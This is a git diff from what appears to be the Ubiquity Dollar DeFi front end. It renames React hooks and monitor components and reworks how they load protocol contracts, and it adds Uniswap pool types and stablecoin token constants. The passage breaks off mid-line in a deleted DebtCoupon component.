diff --git a/packages/dapp/components/lib/hooks/useDeployedAddress.tsx b/packages/dapp/components/lib/hooks/useDeployedAddress.tsx deleted file mode 100644 index 6094f5a19..000000000 --- a/packages/dapp/components/lib/hooks/useDeployedAddress.tsx +++ /dev/null @@ -1,28 +0,0 @@ -// @dev you need to run a build to generate these fixtures. -import dollarDeployments from "@ubiquity/dollar/deployments.json"; -import ubiquiStickDeployments from "@ubiquity/ubiquistick/deployments.json"; - -const LOCAL_CHAIN = 31337; -const dollarChains: Record = dollarDeployments; -const ubiquistickChains: Record = ubiquiStickDeployments; - -const useDeployedAddress = (...names: string[]): string[] => { - const chainId: number = typeof window === "undefined" ? null : window?.ethereum?.networkVersion || LOCAL_CHAIN; - if (chainId) { - const dollarRecord = dollarChains[chainId.toString()] ?? {}; - const ubiquistickRecord = ubiquistickChains[chainId.toString()] ?? {}; - - const getContractAddress = (name: string): string | undefined => { - const dollarContract = dollarRecord[0]?.contracts ? dollarRecord[0]?.contracts[name] : undefined; - const ubiquistickContract = ubiquistickRecord[0]?.contracts ? ubiquistickRecord[0]?.contracts[name] : undefined; - return dollarContract?.address || ubiquistickContract?.address || undefined; - }; - - const addresses = names.map((name) => getContractAddress(name) || ""); - return addresses; - } else { - return []; - } -}; - -export default useDeployedAddress; diff --git a/packages/dapp/components/lib/hooks/useWeb3.tsx b/packages/dapp/components/lib/hooks/useWeb3.tsx deleted file mode 100644 index dcbf2b513..000000000 --- a/packages/dapp/components/lib/hooks/useWeb3.tsx +++ /dev/null @@ -1,105 +0,0 @@ -import { JsonRpcProvider, JsonRpcSigner, Web3Provider } from "@ethersproject/providers"; -import { ethers } from "ethers"; -import { createContext, useContext, useEffect, useState } from "react"; -import { ChildrenShim } from "./children-shim"; -import useLocalStorage from "./useLocalStorage"; - -const IS_DEV = process.env.NODE_ENV == "development"; -const LOCAL_NODE_ADDRESS = "http://localhost:8545"; - -export type PossibleProviders = Web3Provider | JsonRpcProvider | null; - -export type Web3State = { - metamaskInstalled: boolean; - jsonRpcEnabled: boolean; - providerMode: "none" | "metamask" | "jsonrpc"; - provider: PossibleProviders; - connecting: boolean; - walletAddress: null | string; - signer: null | JsonRpcSigner; -}; - -type Web3Actions = { - connectMetaMask: () => Promise; - connectJsonRpc: (address: string) => Promise; - disconnect: () => Promise; -}; - -const metamaskInstalled = typeof window !== "undefined" ? !!window?.ethereum?.request : false; -const DEFAULT_WEB3_STATE: Web3State = { - metamaskInstalled, - jsonRpcEnabled: IS_DEV, - providerMode: "none", - provider: null, - connecting: false, - walletAddress: null, - signer: null, -}; - -const DEFAULT_WEB3_ACTIONS: Web3Actions = { - connectMetaMask: async () => {}, - connectJsonRpc: async () => {}, - disconnect: async () => {}, -}; - -export const Web3Context = createContext<[Web3State, Web3Actions]>([DEFAULT_WEB3_STATE, DEFAULT_WEB3_ACTIONS]); - -export const UseWeb3Provider: React.FC = ({ children }) => { - const [storedWallet, setStoredWallet] = useLocalStorage("storedWallet", null); - const [storedProviderMode, setStoredProviderMode] = useLocalStorage("storedProviderMode", "none"); - const [web3State, setWeb3State] = useState(DEFAULT_WEB3_STATE); - - useEffect(() => { - if (storedProviderMode === "jsonrpc" && storedWallet) { - connectJsonRpc(storedWallet); - } else { - connectMetaMask(); - } - }, []); - - async function connectMetaMask() { - if (metamaskInstalled) { - const newProvider = new ethers.providers.Web3Provider(window.ethereum); - setWeb3State({ ...web3State, connecting: true }); - const addresses = (await newProvider.send("eth_requestAccounts", [])) as string[]; - if (addresses.length > 0) { - console.log("Connected wallet ", addresses[0]); - const newWalletAddress = addresses[0]; - const newSigner = newProvider.getSigner(newWalletAddress); - setStoredWallet(newWalletAddress); - setStoredProviderMode("metamask"); - setWeb3State({ - ...web3State, - connecting: false, - providerMode: "metamask", - provider: newProvider, - walletAddress: newWalletAddress, - signer: newSigner, - }); - } else { - alert("No accounts found"); - setWeb3State({ ...web3State, connecting: false }); - } - } - } - - async function connectJsonRpc(newWalletAddress: string) { - setWeb3State({ ...web3State, connecting: true }); - const newProvider = new ethers.providers.JsonRpcProvider(LOCAL_NODE_ADDRESS); - await newProvider.send("hardhat_impersonateAccount", [newWalletAddress]); - const newSigner = newProvider.getSigner(newWalletAddress); - setStoredWallet(newWalletAddress); - setStoredProviderMode("jsonrpc"); - setWeb3State({ ...web3State, connecting: false, providerMode: "jsonrpc", provider: newProvider, walletAddress: newWalletAddress, signer: newSigner }); - } - - async function disconnect() { - setWeb3State({ ...web3State, walletAddress: null, signer: null }); - } - - return {children}; -}; - -const useWeb3 = () => useContext(Web3Context); - -export default useWeb3; diff --git a/packages/dapp/components/lib/types.ts b/packages/dapp/components/lib/types.ts index e0ad08a92..11f6d653d 100644 --- a/packages/dapp/components/lib/types.ts +++ b/packages/dapp/components/lib/types.ts @@ -1,3 +1,5 @@ +import { BigNumber, ethers } from "ethers"; + export interface EthAccount { balance: number; address: string; @@ -8,3 +10,36 @@ export interface Transaction { active: boolean; title?: string; } + +export interface PoolImmutables { + factory: string; + token0: string; + token1: string; + fee: number; + tickSpacing: number; + maxLiquidityPerTick: ethers.BigNumber; +} + +export interface PoolState { + liquidity: ethers.BigNumber; + sqrtPriceX96: ethers.BigNumber; + tick: number; + observationIndex: number; + observationCardinality: number; + observationCardinalityNext: number; + feeProtocol: number; + unlocked: boolean; +} + +export interface Balances { + dollar: BigNumber; + _3crv: BigNumber; + dollar3crv: BigNumber; + credit: BigNumber; + creditNft: BigNumber; + governance: BigNumber; + stakingShares: BigNumber; + usdc: BigNumber; + dai: BigNumber; + usdt: BigNumber; +} diff --git a/packages/dapp/components/lib/utils.ts b/packages/dapp/components/lib/utils.ts index 65b677523..05537aca3 100644 --- a/packages/dapp/components/lib/utils.ts +++ b/packages/dapp/components/lib/utils.ts @@ -1,6 +1,9 @@ -import { PossibleProviders } from "@/lib/hooks/useWeb3"; +import { PossibleProviders } from "@/lib/hooks/use-web-3"; import { BigNumber, Contract, ContractTransaction, ethers } from "ethers"; import { useEffect } from "react"; +import { parseUnits } from "@ethersproject/units"; +import { Token, Currency, CurrencyAmount as CurrencyAmountRaw } from "@uniswap/sdk-core"; +import JSBI from "jsbi"; export function logGas(txDone: ethers.ContractReceipt) { console.log(`Gas used with 100 gwei / gas:${ethers.utils.formatEther(txDone.gasUsed.mul(ethers.utils.parseUnits("100", "gwei")))}`); @@ -105,6 +108,24 @@ export const formatTimeDiff = (diff: number) => { export const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; +// Stable Coin Addresses +export const USDC_ADDRESS = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48"; +export const DAI_ADDRESS = "0x6b175474e89094c44da98b954eedeac495271d0f"; +export const USDT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + +// Uniswap Pool Addresses +export const CREDIT_DOLLAR_ADDRESS = "0x429630355C3Ab8E7AceCD99B78BE2D37Bb939E27"; +export const CREDIT_USDC_ADDRESS = "0x895BEbB725be4b1B9168508b84a811c7710EfB3C"; +export const CREDIT_DAI_ADDRESS = "0x587B192f4c2c4C9115Ea1E0Fe4129d5188eC3728"; +export const CREDIT_USDT_ADDRESS = "0x9d498aB38Aa889AE0f4A865d30da2116ee9716bC"; + +// Uniswap Router address +export const V3_ROUTER_ADDRESS = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"; + +export const sushiSwapPoolAddress = "0x41e087485f47538752A1195D984109cB8Dc0E429"; +export const dollar3poolMarketAddress = "0x20955CB69Ae1515962177D164dfC9522feef567E"; +export const _3crvTokenAddress = "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490"; + export const safeParseEther = (val: string) => { try { return ethers.utils.parseEther(val); @@ -112,3 +133,62 @@ export const safeParseEther = (val: string) => { return null; } }; + +// Token entities +export const CREDIT_TOKEN = new Token(1, "0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97", 18, "uCR", "Ubiquity Credit"); +export const DOLLAR_TOKEN = new Token(1, "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", 18, "uAD", "Ubiquity Algorithmic Dollar"); +export const WETH_TOKEN = new Token(1, "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", 18, "WETH", "Wrapped Ether"); +export const USDC_TOKEN = new Token(1, "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", 6, "USDC", "USD//C"); +export const USDT_TOKEN = new Token(1, "0xdAC17F958D2ee523a2206206994597C13D831ec7", 6, "USDT", "Tether USD"); +export const DAI_TOKEN = new Token(1, "0x6B175474E89094C44Da98b954EedeAC495271d0F", 18, "DAI", "Dai Stablecoin"); + +export class CurrencyAmount extends CurrencyAmountRaw {} + +// Try to parse a user entered amount for a given token +export function parseAmount(value: string, currency: Currency): CurrencyAmount { + const typedValueParsed = parseUnits(value, currency.decimals).toString(); + return CurrencyAmount.fromRawAmount(currency, JSBI.BigInt(typedValueParsed)); +} + +export const SWAP_WIDGET_TOKEN_LIST = [ + { + name: "Tether USD", + address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", + symbol: "USDT", + decimals: 6, + chainId: 1, + logoURI: "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0xdAC17F958D2ee523a2206206994597C13D831ec7/logo.png", + }, + { + name: "USD Coin", + address: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", + symbol: "USDC", + decimals: 6, + chainId: 1, + logoURI: "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48/logo.png", + }, + { + name: "Dai Stablecoin", + address: "0x6B175474E89094C44Da98b954EedeAC495271d0F", + symbol: "DAI", + decimals: 18, + chainId: 1, + logoURI: "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x6B175474E89094C44Da98b954EedeAC495271d0F/logo.png", + }, + { + name: "Ubiquity Algorithmic Dollar", + address: "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", + symbol: "uAD", + decimals: 18, + chainId: 1, + logoURI: "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6/logo.png", + }, + { + name: "Ubiquity Credit", + address: "0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97", + symbol: "uCR", + decimals: 18, + chainId: 1, + logoURI: "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97/logo.png", + }, +]; diff --git a/packages/dapp/components/lib/with-loaded-context.tsx b/packages/dapp/components/lib/with-loaded-context.tsx new file mode 100644 index 000000000..690575c4f --- /dev/null +++ b/packages/dapp/components/lib/with-loaded-context.tsx @@ -0,0 +1,35 @@ +import { ethers } from "ethers"; +import useProtocolContracts, { ProtocolContracts } from "./hooks/contracts/use-protocol-contracts"; +import useNamedContracts, { NamedContracts } from "./hooks/contracts/use-named-contracts"; +import useWeb3, { PossibleProviders } from "./hooks/use-web-3"; + +export type LoadedContext = { + protocolContracts: NonNullable; + namedContracts: NonNullable; + web3Provider: NonNullable; + walletAddress: string; + signer: ethers.providers.JsonRpcSigner; +}; + +export default function withLoadedContext(El: (params: LoadedContext & T) => JSX.Element, ElNull?: () => JSX.Element) { + return (otherParams: T) => { + const { walletAddress, signer, provider } = useWeb3(); + const namedContracts = useNamedContracts(); + const protocolContracts = useProtocolContracts(); + + if (provider && walletAddress && signer && protocolContracts && namedContracts) { + return ( + + ); + } else { + return ElNull ? : null; + } + }; +} diff --git a/packages/dapp/components/lib/withLoadedContext.tsx b/packages/dapp/components/lib/withLoadedContext.tsx deleted file mode 100644 index 7a9eef02d..000000000 --- a/packages/dapp/components/lib/withLoadedContext.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { ethers } from "ethers"; -import useDeployedContracts, { DeployedContracts } from "./hooks/contracts/useDeployedContracts"; -import { ManagedContracts } from "./hooks/contracts/useManagerManaged"; -import useNamedContracts, { NamedContracts } from "./hooks/contracts/useNamedContracts"; -import useWeb3, { PossibleProviders } from "./hooks/useWeb3"; - -import useManagerManaged from "@/components/lib/hooks/contracts/useManagerManaged"; -export type LoadedContext = { - managedContracts: NonNullable; - deployedContracts: NonNullable; - namedContracts: NonNullable; - web3Provider: NonNullable; - walletAddress: string; - signer: ethers.providers.JsonRpcSigner; -}; - -export default function withLoadedContext(El: (params: LoadedContext & T) => JSX.Element, ElNull?: () => JSX.Element) { - return (otherParams: T) => { - const [{ walletAddress, signer, provider }] = useWeb3(); - const managedContracts = useManagerManaged(); - const deployedContracts = useDeployedContracts(); - const namedContracts = useNamedContracts(); - - if (provider && walletAddress && signer && managedContracts && deployedContracts && namedContracts) { - return ( - - ); - } else { - return ElNull ? : null; - } - }; -} diff --git a/packages/dapp/components/monitor/MetapoolMonitor.tsx b/packages/dapp/components/monitor/MetapoolMonitor.tsx deleted file mode 100644 index d969339e8..000000000 --- a/packages/dapp/components/monitor/MetapoolMonitor.tsx +++ /dev/null @@ -1,50 +0,0 @@ -import { useEffect, useState } from "react"; - -import { formatEther } from "@/lib/format"; -import useNamedContracts from "../lib/hooks/contracts/useNamedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -// import Address from "./ui/Address"; -import Balance from "./ui/Balance"; -// import { useConnectedContext } from "@/lib/connected"; - -type State = null | MetapoolMonitorProps; -type MetapoolMonitorProps = { - metaPoolAddress: string; - uadBalance: number; - crvBalance: number; -}; - -const MetapoolMonitorContainer = () => { - const { dollarMetapool: metaPool } = useManagerManaged() || {}; - const { curvePool } = useNamedContracts() || {}; - - const [metaPoolMonitorProps, setMetapoolMonitorProps] = useState(null); - - useEffect(() => { - if (metaPool && curvePool) { - (async function () { - const [uadBalance, crvBalance] = await Promise.all([metaPool.balances(0), metaPool.balances(1)]); - - setMetapoolMonitorProps({ - metaPoolAddress: metaPool.address, - uadBalance: +formatEther(uadBalance), - crvBalance: +formatEther(crvBalance), - }); - })(); - } - }, [metaPool, curvePool]); - - return metaPoolMonitorProps && ; -}; - -const MetapoolMonitor = (props: MetapoolMonitorProps) => { - return ( -
    -

    Metapool Balances

    - - -
    - ); -}; - -export default MetapoolMonitorContainer; diff --git a/packages/dapp/components/monitor/PriceMonitor.tsx b/packages/dapp/components/monitor/PriceMonitor.tsx deleted file mode 100644 index 24a565d80..000000000 --- a/packages/dapp/components/monitor/PriceMonitor.tsx +++ /dev/null @@ -1,102 +0,0 @@ -import { BigNumber, ethers } from "ethers"; -import { useEffect, useState } from "react"; - -import NAMED_ACCOUNTS from "../config/named-accounts.json"; -import { formatEther, formatMwei } from "@/lib/format"; -import useNamedContracts from "../lib/hooks/contracts/useNamedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -// import Address from "./ui/Address"; -import PriceExchange from "./ui/PriceExchange"; - -type State = null | PriceMonitorProps; -type PriceMonitorProps = { - metaPoolAddress: string; - daiUsdt: number; - uadUsdc: number; - uadDai: number; - uadUsdt: number; - twapAddress: string; - uadCrv: number; - crvUad: number; - dollarMintCalcAddress: string; - dollarToBeMinted: number | null; -}; - -type ManagedContracts = NonNullable>>; -type NamedContracts = NonNullable>>; - -const fetchPrices = async ( - { dollarToken: uad, dollarMetapool: metaPool, dollarTwapOracle: twapOracle, dollarMintingCalculator: dollarMintCalc }: ManagedContracts, - { curvePool }: NamedContracts -): Promise => { - const [[daiIndex, usdtIndex], [uadIndex, usdcIndex]] = await Promise.all([ - curvePool.get_coin_indices(metaPool.address, NAMED_ACCOUNTS.DAI, NAMED_ACCOUNTS.USDT), - curvePool.get_coin_indices(metaPool.address, uad.address, NAMED_ACCOUNTS.USDC), - ]); - - const metaPoolGet = async (i1: BigNumber, i2: BigNumber): Promise => { - return await metaPool["get_dy_underlying(int128,int128,uint256)"](i1, i2, ethers.utils.parseEther("1")); - }; - - const [daiUsdt, uadUsdc, uadDai, uadUsdt, uadCrv, crvUad] = await Promise.all([ - metaPoolGet(daiIndex, usdtIndex), - metaPoolGet(uadIndex, usdcIndex), - metaPoolGet(uadIndex, daiIndex), - metaPoolGet(uadIndex, usdtIndex), - twapOracle.consult(uad.address), - twapOracle.consult(NAMED_ACCOUNTS.curve3CrvToken), - ]); - - return { - metaPoolAddress: metaPool.address, - daiUsdt: +formatMwei(daiUsdt), - uadUsdc: +formatMwei(uadUsdc), - uadDai: +formatEther(uadDai), - uadUsdt: +formatMwei(uadUsdt), - twapAddress: twapOracle.address, - uadCrv: +formatEther(uadCrv), - crvUad: +formatEther(crvUad), - dollarMintCalcAddress: dollarMintCalc.address, - dollarToBeMinted: uadCrv.gt(ethers.utils.parseEther("1")) ? +formatEther(await dollarMintCalc.getDollarsToMint()) : null, - }; -}; - -const PriceMonitorContainer = () => { - const managedContracts = useManagerManaged(); - const namedContracts = useNamedContracts(); - const [priceMonitorProps, setPriceMonitorProps] = useState(null); - - useEffect(() => { - if (managedContracts && namedContracts) { - (async function () { - setPriceMonitorProps(await fetchPrices(managedContracts, namedContracts)); - })(); - } - }, [managedContracts, namedContracts]); - - return priceMonitorProps && ; -}; - -const PriceMonitor = (props: PriceMonitorProps) => { - return ( -
    -

    Spot

    - -

    Time Weighted Average

    - - -

    Dollar Minting

    -
    - {props.dollarToBeMinted ? ( -
    - {props.dollarToBeMinted} uAD to be minted -
    - ) : ( - "No minting needed" - )} -
    -
    - ); -}; - -export default PriceMonitorContainer; diff --git a/packages/dapp/components/monitor/TokenMonitor.tsx b/packages/dapp/components/monitor/TokenMonitor.tsx deleted file mode 100644 index b2db93662..000000000 --- a/packages/dapp/components/monitor/TokenMonitor.tsx +++ /dev/null @@ -1,60 +0,0 @@ -import { useEffect, useState } from "react"; - -import { formatEther } from "@/lib/format"; -import useDeployedContracts from "../lib/hooks/contracts/useDeployedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -// import Address from "./ui/Address"; -import Balance from "./ui/Balance"; - -type State = null | TokenMonitorProps; -type TokenMonitorProps = { - debtCouponAddress: string; - debtCouponManagerAddress: string; - totalOutstandingDebt: number; - totalRedeemable: number; -}; - -const TokenMonitorContainer = () => { - const { debtCouponManager } = useDeployedContracts() || {}; - const { creditNft: debtCouponToken, dollarToken: uad } = useManagerManaged() || {}; - - const [tokenMonitorPRops, setTokenMonitorProps] = useState(null); - - useEffect(() => { - if (debtCouponManager && debtCouponToken && uad) { - (async function () { - const [totalOutstandingDebt, totalRedeemable] = await Promise.all([ - debtCouponToken.getTotalOutstandingDebt(), - uad.balanceOf(debtCouponManager.address), - ]); - - setTokenMonitorProps({ - debtCouponAddress: debtCouponToken.address, - debtCouponManagerAddress: debtCouponManager.address, - totalOutstandingDebt: +formatEther(totalOutstandingDebt), - totalRedeemable: +formatEther(totalRedeemable), - }); - })(); - } - }, [debtCouponManager, debtCouponToken, uad]); - - return tokenMonitorPRops && ; -}; - -const TokenMonitor = (props: TokenMonitorProps) => { - return ( -
    -

    Credit Monitor

    -
    - - {/*
    */} -
    -
    - - {/*
    */} -
    -
    - ); -}; - -export default TokenMonitorContainer; diff --git a/packages/dapp/components/monitor/metapool-monitor.tsx b/packages/dapp/components/monitor/metapool-monitor.tsx new file mode 100644 index 000000000..ee3c98d3d --- /dev/null +++ b/packages/dapp/components/monitor/metapool-monitor.tsx @@ -0,0 +1,52 @@ +import { useState } from "react"; +import useEffectAsync from "../lib/hooks/use-effect-async"; + +import { formatEther } from "@/lib/format"; +import useNamedContracts from "../lib/hooks/contracts/use-named-contracts"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +// import Address from "./ui/Address"; +import Balance from "./ui/balance"; +// import { useConnectedContext } from "@/lib/connected"; + +type State = null | MetapoolMonitorProps; +type MetapoolMonitorProps = { + metaPoolAddress: string; + dollarTokenBalance: number; + curve3CrvTokenBalance: number; +}; + +const MetapoolMonitorContainer = () => { + const protocolContracts = useProtocolContracts(); + const { curvePool } = useNamedContracts() || {}; + + const [metaPoolMonitorProps, setMetapoolMonitorProps] = useState(null); + + useEffectAsync(async () => { + const contracts = await protocolContracts; + const metaPool = contracts.curveMetaPoolDollarTriPoolLp; + if (metaPool && curvePool) { + const [dollarTokenBalance, curve3CrvTokenBalance] = await Promise.all([metaPool.balances(0), metaPool.balances(1)]); + + setMetapoolMonitorProps({ + metaPoolAddress: metaPool.address, + dollarTokenBalance: +formatEther(dollarTokenBalance), + curve3CrvTokenBalance: +formatEther(curve3CrvTokenBalance), + }); + } + }, [curvePool]); + + return metaPoolMonitorProps && ; +}; + +const MetapoolMonitor = (props: MetapoolMonitorProps) => { + return ( +
    +

    Metapool Balances

    + {/* cspell: disable-next-line */} + + +
    + ); +}; + +export default MetapoolMonitorContainer; diff --git a/packages/dapp/components/monitor/price-monitor.tsx b/packages/dapp/components/monitor/price-monitor.tsx new file mode 100644 index 000000000..bdba6f119 --- /dev/null +++ b/packages/dapp/components/monitor/price-monitor.tsx @@ -0,0 +1,116 @@ +import { BigNumber, ethers } from "ethers"; +import { useState } from "react"; +import useEffectAsync from "../lib/hooks/use-effect-async"; + +import NAMED_ACCOUNTS from "../config/named-accounts.json"; +import { formatEther, formatMwei } from "@/lib/format"; +import useNamedContracts from "../lib/hooks/contracts/use-named-contracts"; +import useProtocolContracts, { ProtocolContracts } from "@/components/lib/hooks/contracts/use-protocol-contracts"; +// import Address from "./ui/Address"; +import PriceExchange from "./ui/price-exchange"; + +type State = null | PriceMonitorProps; +type PriceMonitorProps = { + metaPoolAddress: string; + daiUsdt: number; + dollarUsdc: number; + dollarDai: number; + dollarUsdt: number; + twapAddress: string; + dollarCrv: number; + crvDollar: number; + dollarMintCalcAddress: string; + dollarToBeMinted: number | null; +}; + +type NamedContracts = NonNullable>>; + +const fetchPrices = async (protocolContracts: ProtocolContracts, { curvePool }: NamedContracts): Promise => { + const contracts = await protocolContracts; + if (contracts) { + const { + dollarToken: dollarToken, + curveMetaPoolDollarTriPoolLp: metaPool, + twapOracleDollar3poolFacet: twapOracle, + dollarMintCalculatorFacet: dollarMintCalc, + } = contracts; + + if (dollarToken && metaPool && twapOracle && dollarMintCalc) { + const [[daiIndex, usdtIndex], [dollarIndex, usdcIndex]] = await Promise.all([ + curvePool.get_coin_indices(metaPool.address, NAMED_ACCOUNTS.DAI, NAMED_ACCOUNTS.USDT), + curvePool.get_coin_indices(metaPool.address, dollarToken.address, NAMED_ACCOUNTS.USDC), + ]); + + const metaPoolGet = async (i1: BigNumber, i2: BigNumber): Promise => { + return await metaPool.get_dy_underlying(i1, i2, ethers.utils.parseEther("1")); + }; + + const [daiUsdt, dollarUsdc, dollarDai, dollarUsdt, dollarCrv, crvDollar] = await Promise.all([ + metaPoolGet(daiIndex, usdtIndex), + metaPoolGet(dollarIndex, usdcIndex), + metaPoolGet(dollarIndex, daiIndex), + metaPoolGet(dollarIndex, usdtIndex), + twapOracle.consult(dollarToken.address), + twapOracle.consult(NAMED_ACCOUNTS.curve3CrvToken), + ]); + + return { + metaPoolAddress: metaPool.address, + daiUsdt: +formatMwei(daiUsdt), + dollarUsdc: +formatMwei(dollarUsdc), + dollarDai: +formatEther(dollarDai), + dollarUsdt: +formatMwei(dollarUsdt), + twapAddress: twapOracle.address, + dollarCrv: +formatEther(dollarCrv), + crvDollar: +formatEther(crvDollar), + dollarMintCalcAddress: dollarMintCalc.address, + dollarToBeMinted: dollarCrv.gt(ethers.utils.parseEther("1")) ? +formatEther(await dollarMintCalc.getDollarsToMint()) : null, + }; + } + } +}; + +const PriceMonitorContainer = () => { + const namedContracts = useNamedContracts(); + const protocolContracts = useProtocolContracts(); + const [priceMonitorProps, setPriceMonitorProps] = useState(null); + + useEffectAsync(async () => { + if (protocolContracts && namedContracts) { + const prices = await fetchPrices(protocolContracts, namedContracts); + if (prices) { + setPriceMonitorProps(prices); + } + } + }, [namedContracts]); + + return priceMonitorProps && ; +}; + +const PriceMonitor = (props: PriceMonitorProps) => { + return ( +
    +

    Spot

    + {/* cspell: disable-next-line */} + +

    Time Weighted Average

    + {/* cspell: disable-next-line */} + + {/* cspell: disable-next-line */} + +

    Dollar Minting

    +
    + {props.dollarToBeMinted ? ( +
    + {/* cspell: disable-next-line */} + {props.dollarToBeMinted} Dollar to be minted +
    + ) : ( + "No minting needed" + )} +
    +
    + ); +}; + +export default PriceMonitorContainer; diff --git a/packages/dapp/components/monitor/token-monitor.tsx b/packages/dapp/components/monitor/token-monitor.tsx new file mode 100644 index 000000000..33c2149fb --- /dev/null +++ b/packages/dapp/components/monitor/token-monitor.tsx @@ -0,0 +1,57 @@ +import { useState } from "react"; + +import { formatEther } from "@/lib/format"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +// import Address from "./ui/Address"; +import Balance from "./ui/balance"; +import useEffectAsync from "../lib/hooks/use-effect-async"; + +type State = null | TokenMonitorProps; +type TokenMonitorProps = { + creditNftAddress: string; + creditNftManagerAddress: string; + totalOutstandingCredit: number; + totalRedeemable: number; +}; + +const TokenMonitorContainer = () => { + const protocolContracts = useProtocolContracts(); + const [tokenMonitorPRops, setTokenMonitorProps] = useState(null); + + useEffectAsync(async () => { + const contracts = await protocolContracts; + if (contracts && contracts.creditNft && contracts.creditNftManagerFacet) { + const [totalOutstandingCredit, totalRedeemable] = await Promise.all([ + contracts.creditNft?.getTotalOutstandingDebt(), + contracts.dollarToken?.balanceOf(contracts.creditNftManagerFacet.address), + ]); + + setTokenMonitorProps({ + creditNftAddress: contracts.creditNft.address, + creditNftManagerAddress: contracts.creditNftManagerFacet.address, + totalOutstandingCredit: +formatEther(totalOutstandingCredit), + totalRedeemable: +formatEther(totalRedeemable), + }); + } + }, []); + + return tokenMonitorPRops && ; +}; + +const TokenMonitor = (props: TokenMonitorProps) => { + return ( +
    +

    Credit Monitor

    +
    + + {/*
    */} +
    +
    + + {/*
    */} +
    +
    + ); +}; + +export default TokenMonitorContainer; diff --git a/packages/dapp/components/monitor/ui/Address.tsx b/packages/dapp/components/monitor/ui/address.tsx similarity index 51% rename from packages/dapp/components/monitor/ui/Address.tsx rename to packages/dapp/components/monitor/ui/address.tsx index 1964df2be..b2531d86b 100644 --- a/packages/dapp/components/monitor/ui/Address.tsx +++ b/packages/dapp/components/monitor/ui/address.tsx @@ -1,5 +1,5 @@ const Address = (props: { address: string; title: string }): JSX.Element => ( - + {props.address} ); diff --git a/packages/dapp/components/monitor/ui/Balance.tsx b/packages/dapp/components/monitor/ui/balance.tsx similarity index 100% rename from packages/dapp/components/monitor/ui/Balance.tsx rename to packages/dapp/components/monitor/ui/balance.tsx diff --git a/packages/dapp/components/monitor/ui/PriceExchange.tsx b/packages/dapp/components/monitor/ui/price-exchange.tsx similarity index 100% rename from packages/dapp/components/monitor/ui/PriceExchange.tsx rename to packages/dapp/components/monitor/ui/price-exchange.tsx diff --git a/packages/dapp/components/redeem/DebtCoupon.tsx b/packages/dapp/components/redeem/DebtCoupon.tsx deleted file mode 100644 index a7f2d07f7..000000000 --- a/packages/dapp/components/redeem/DebtCoupon.tsx +++ /dev/null @@ -1,681 +0,0 @@ -import { constrainNumber, formatTimeDiff } from "@/lib/utils"; -import withLoadedContext, { LoadedContext } from "@/lib/withLoadedContext"; -import { BigNumber, ethers } from "ethers"; -import { ChangeEvent, Dispatch, memo, SetStateAction, useEffect, useMemo, useState } from "react"; -import useBalances, { Balances } from "../lib/hooks/useBalances"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import usePrices from "./lib/usePrices"; - -type Actions = { - onRedeem: () => void; - onSwap: (amount: number, unit: string) => void; - onBurn: (uadAmount: string, setErrMsg: Dispatch>) => void; -}; - -type Coupon = { - amount: number; - expiration: number; - swap: { amount: number; unit: string }; -}; - -type Coupons = { - uDEBT: Coupon[]; - uBOND: number; - uAR: number; -}; - -const uDEBT = "uDEBT"; -const uAR = "uAR"; - -// async function _expectedCoupon( -// uadAmount: string, -// contracts: Contracts | null, -// selectedCurrency: string, -// setExpectedCoupon: Dispatch> -// ) { -// const amount = ethers.utils.parseEther(uadAmount); -// if (contracts && amount.gt(BigNumber.from(0))) { -// if (selectedCurrency === uDEBT) { -// const expectedCoupon = await contracts.coupon.getCouponAmount(amount); -// console.log("expectedCoupon", expectedCoupon.toString()); -// setExpectedCoupon(expectedCoupon); -// } else if (selectedCurrency === uAR) { -// const blockHeight = await contracts.debtCouponManager.blockHeightDebt(); -// const expectedCoupon = await contracts.uarCalc.getUARAmount(amount, blockHeight); -// console.log("expectedCoupon", expectedCoupon.toString()); -// setExpectedCoupon(expectedCoupon); -// } -// } -// } - -// eslint-disable-next-line @typescript-eslint/no-unused-vars -export const DebtCouponContainer = ({ managedContracts, deployedContracts, web3Provider, walletAddress, signer }: LoadedContext) => { - // eslint-disable-next-line @typescript-eslint/no-unused-vars - const [balances, refreshBalances] = useBalances(); - const [, doTransaction] = useTransactionLogger(); - // eslint-disable-next-line @typescript-eslint/no-unused-vars - const [twapPrice, spotPrice] = usePrices(); - - const actions: Actions = { - onRedeem: () => { - console.log("onRedeem"); - }, - onSwap: () => { - console.log("onSwap"); - }, - onBurn: async (uadAmount, setErrMsg) => { - setErrMsg(""); - await doTransaction("Burning uAD...", async () => {}); - }, - }; - - const priceIncreaseFormula = async (amount: number) => { - const formula = 0.001; - return amount * formula; - }; - - const cycleStartDate = 1637625600000; - const uarDeprecationRate = 0.0001; - const uarCurrentRewardPct = 0.05; - const udebtDeprecationRate = 0.0015; - const udebtCurrentRewardPct = 0.05; - const udebtExpirationTime = 1640217600000; - const udebtUbqRedemptionRate = 0.25; - const uadTotalSupply = 233000; - const ubondTotalSupply = 10000; - const uarTotalSupply = 30000; - const udebtTotalSupply 